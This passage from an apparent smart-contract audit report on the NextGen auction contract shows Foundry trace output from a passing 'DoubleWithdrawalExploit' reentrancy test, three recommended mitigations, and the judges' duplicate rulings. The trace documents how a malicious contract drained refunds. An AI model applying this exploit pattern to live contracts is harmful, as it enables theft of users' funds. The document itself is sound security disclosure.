[0x1d1499e622D69689cdf9004d05Ec547d650Ff211], value: 5500000000000000000 [5.5e18]) β β β ββ β () β β ββ emit Refund(_add: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: true, funds: 5500010000000000000 [5.5e18]) β β ββ [44413] NextGenCore::safeTransferFrom(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 10000000000 [1e10]) β β β ββ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenId: 10000000000 [1e10]) β β β ββ [868] DoubleWithdrawalExploit::onERC721Received(auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 10000000000 [1e10], 0x) β β β β ββ β 0x150b7a0200000000000000000000000000000000000000000000000000000000 β β β ββ β () β β ββ [0] TimedAuction::fallback() β β β ββ β "EvmError: OutOfFund" β β ββ emit ClaimAuction(_add: TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenid: 10000000000 [1e10], status: false, funds: 5500010000000000000 [5.5e18]) β β ββ β () β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [656] NextGenCore::balanceOf(DoubleWithdrawalExploit: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall] β ββ β 1 ββ β () Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.99ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Foundry
The steps below are the same as provided earlier
Several mitigation stops are recommended:
First, checks effects interactions pattern and locks should be properly implemented. This is followed successfully in the cancelBid and cancelAllBids functions where auctionInfoData[_tokenid][index].status is set to false prior to payment being sent. This should also occur immediately after line 115 in AuctionDemo. If auctionInfoData[_tokenid].status were set after line 115, then the reentrant call from the payable fallback in the malicious contract to cancelBid would have failed as the auctionInfoData status was already false.
Second, the time equality check currently overlaps. While claimAuction has βblock.timestamp >= minter.getAuctionEndTime(_tokenid)β, it was found that cancelBid has block.timestamp <= minter.getAuctionEndTime(_tokenid) in its check. For this reason, the overlap of the equality operators allows for potential malicious interactions, as demonstrated. At least one of these should be changes to remove the βor equal toβ component so there is no overlap.
Third, while payment status from calls are stored and emitted, they are not enforced. If a payment status returns false in that there was an error with the payable call, then an error should be thrown and the state reverted.
Any one of these three items outlined would have prevented the attack demonstrated in the proof of concept (proof of exploit).
Timing
#0 - c4-pre-sort
2023-11-15T07:55:48Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:40:58Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:07:50Z
alex-ppg marked the issue as satisfactory